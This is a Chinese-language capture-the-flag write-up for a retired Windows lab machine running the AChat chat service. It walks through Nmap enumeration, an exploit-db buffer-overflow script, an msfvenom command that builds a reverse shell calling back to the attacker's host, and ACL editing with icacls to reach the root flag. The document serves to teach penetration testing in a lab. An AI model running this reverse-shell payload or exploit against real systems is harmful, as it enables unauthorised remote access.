概述 (Overview)
HOST: 10.10.10.74
OS: Windows
发布时间: 2018-01-28
完成时间: 2021-10-25
机器作者: lkys37en
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #icacls
攻击链 (Kiillchain)
通过 Nmap 对目标服务开放端口进行枚举,识别出存在缓存溢出漏洞的 Achat 服务,使用修改后的 exploit 成功获得目标服务器的立足点。
查询用户文件夹及文件发现存在 ACL 控制措施,通过 icacls 命令成功编辑 ACL 列表,成功得到 root flag。
枚举(Enumeration)
老样子,通过 Nmap 工具对目标服务器进行开放端口枚举:
PORT STATE SERVICE REASON VERSION
9255/tcp open http syn-ack ttl 127 AChat chat system httpd
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open achat syn-ack ttl 127 AChat chat system
这里我使用的是 nmapAutomator 工具,它的主要用途是通过 bash 脚本将常用的 Nmap 扫描命令进行补全。很快看的两个端口 9255、9256,使用搜索引擎对端口信息进行了解。
Achat 易受基于 SEH 的堆栈缓冲区溢出的影响 - https://www.speedguide.net/port.php?port=9256
Port 9256 - Achat
锁定是 Achat 服务后,尝试搜索它的历史严重漏洞,先从 exploit-db 中下手:
Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
有缓存溢出漏洞,根据 Achat 0.150 beta7 - Remote Buffer Overflow 脚本描述,进行攻击复现。
立足点(Foothold)
通过 msfvenom 生成反连 Kali 的 exploit:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<kali> LPORT=9900 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python > exploit.txt
将生成的 exploit Bing 数据内容替换至 36025.py 脚本中,新开窗口使用 NC 监听 9900 端口,完成 MSF 攻击上线:
得到目标服务的立足点,在 Desktop 目录下获取 User flag。
权限提升(Privilege Escalation)
首先查看系统信息,当前的目标服务系统是 Windows 7 Pro,并且可以查看到已经安装过安全补丁,说明可以排除系统高危提取利用:
在 Kali 中启动 impacket-smbserver 文本共享服务,将 winPEAS 传递至服务器进行深度的信息收集。发现存在 Alfred 用户的登录凭证:
但当前会话的 session 用户就是 Alfred,所以没啥用。接着查看深度收集的信息,发现可以查看 C:\Users\Administrator 的目录权限,但没有读取权限:
通过 Google 进行查询,发现在 Windows 中可以使用 cacls、icacls 来查看用户组的 ACL 权限列表,先看一下目录ACL:
- cacls : 显示或修改文件的访问控制列表(ACL)
- icacls : 显示或修改自由访问控制表(Dacl) 上指定的文件,并指定目录中的文件应用于存储的 Dacl。
这里需要关注括号中以逗号分隔的特定权限列表,详细如下:
- 一系列简单权限(基本权限):
- F - 完全访问
- M - 修改访问
- RX - 读取和执行访问
- R - 只读访问
- W - 只写访问
- 特定权限括号中的逗号分隔列表(高级权限):
- D - 删除
- RC - 读取控制(读取权限)
- WDAC - 写入 DAC(更改权限)
- WO - 写所有者(取得所有权)
- S - 同步
- AS - 访问系统安全
- MA - 允许的最大值
- GR - 通用读取
- GW - 通用写入
- GE - 通用执行
- GA - 通用所有
- RD - 读取数据/列表目录
- WD - 写入数据/添加文件
- AD - 追加数据/添加子目录
- REA - 读取扩展属性
- WEA - 编写扩展属性
- X - 执行/遍历
- DC - 删除孩子
- RA - 读取属性
- WA - 写属性
- 继承权可以先于任何一种
<perm>
形式:- (I) - 继承。ACE 继承自父容器。
- (OI) - 对象继承。此容器中的对象将继承此 ACE。仅适用于目录。
- (CI) - 容器继承。此父容器中的容器将继承此 ACE。仅适用于目录。
- (IO) - 仅继承。ACE 继承自父容器,但不适用于对象本身。仅适用于目录。
- (NP) - 不要传播继承。ACE 由容器和对象从父容器继承,但不会传播到嵌套容器。仅适用于目录。
可以看到,对文件、文件夹的 ACL 控制策略 Alfred 用户具备完全访问(F),那么可以通过 /grant
参数授予指定的用户访问权限。通过 cacls 进行查看,当前仅有 Administrator 用户。
成功得到 Root Flag。